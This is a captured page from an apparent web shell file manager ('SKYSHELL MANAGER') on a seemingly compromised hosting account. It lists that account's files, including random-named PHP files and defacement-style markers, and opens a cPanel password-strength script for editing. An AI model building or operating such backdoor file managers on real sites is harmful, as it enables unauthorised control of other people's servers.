📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: passwordStrengthService.js
/* # cjt/services/passwordStrengthService.js Copyright(c) 2020 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited */ /* global define: false */ define( [ // Libraries "angular", "lodash", // CJT "cjt/core", "cjt/util/locale", "cjt/util/performance" ], function(angular, _, CJT, LOCALE, performance) { var module = angular.module("cjt2.services.passwordStrength", []); var url = CJT.securityToken + (CJT.isUnprotected() ? "/unprotected" : "/backend" ) + "/passwordstrength.cgi"; var lastRequest = null; var memoizedPasswordStrengths = {}; /** * Setup the password strength API service */ module.factory("passwordStrength", [ "$q", "$http", "$rootScope", function($q, $http, $rootScope) { /** * Broadcast the event * * @private * @method _broadcast * @param {String} id * @param {String} password * @param {Number} strength */ function _broadcast(id, password, strength) { $rootScope.$broadcast("passwordStrengthChange", { // Password field we are validating id: id, // For validators to pull apart. password: password, // Just let the other listeners know if the password is set hasPassword: password && password.length > 0 ? true : false, // Strength returned by the service strength: strength }); } // return the factory interface return { /** * Cancel the last pending request if it exists. * * @method cancelLastRequest */ cancelLastRequest: function() { if (lastRequest) { lastRequest.cancel(); lastRequest.deferred.reject({ canceled: true }); CJT.debug("Canceled existing request"); lastRequest = null; } }, /** * Checks if there are any pending requests for strength check. * * @method hasPendingRequest * @return {Boolean} true if there are pending requests, false otherwise. */ hasPendingRequest: function() { return lastRequest !== null; }, /** * Checks the strength of a password. * * @method checkPasswordStrength * @param {String} id The unique id for the field being evaluated. * @param {String} password The password to check. * @return {Promise} A promise that resolves once the password strength is determined * or rejects if it wasn't determined. */ checkPasswordStrength: function(id, password) { // Cancel the last request if it exists this.cancelLastRequest(); var deferred, canceler; // Exit quickly if password is empty or undefined if (angular.isUndefined(password) || password === "") { _broadcast(id, password, 0); deferred = $q.defer(); deferred.resolve({ status: 200, strength: 0, password: password, id: id }); return deferred.promise; } if (memoizedPasswordStrengths.hasOwnProperty(password)) { _broadcast(id, password, memoizedPasswordStrengths[password]); deferred = $q.defer(); deferred.resolve({ status: 200, strength: memoizedPasswordStrengths[password], password: password, id: id }); return deferred.promise; } // Setup and stash key items from the last request for cancellation purposes canceler = $q.defer(); deferred = $q.defer(); lastRequest = { cancel: function() { canceler.resolve(); }, deferred: deferred }; // Prepare the postAsForm arguments var request = { url: url, data: { password: password }, config: { timeout: canceler.promise.then(function() { var stop = performance.now(); CJT.debug("Call to cgi password strength service canceled " + (stop - start) + " milliseconds."); }) } }; var start = performance.now(); var strength = 0; $http.postAsForm(request.url, request.data, request.config).then( function(response) { var stop = performance.now(); CJT.debug("Call to cgi password strength service " + (stop - start) + " milliseconds."); // We can't resolve the promise if there's no strength returned if ( !angular.isUndefined(response.data.strength) ) { memoizedPasswordStrengths[password] = response.data.strength; strength = response.data.strength; deferred.resolve({ status: 200, strength: strength, password: password, id: id }); } else { deferred.reject({ statusText: "Unspecified API Error", // HTTP status messages aren't localized status: response.status, strength: strength, password: password, id: id }); } }, // HTTP status other than 200 function(error) { deferred.reject({ statusText: error.statusText, status: error.status, strength: strength, password: password, id: id }); } ).finally(function() { // Done processing so clear the last request lastRequest = null; _broadcast(id, password, strength); }); return deferred.promise; } }; }]); return { url: url }; } );
Save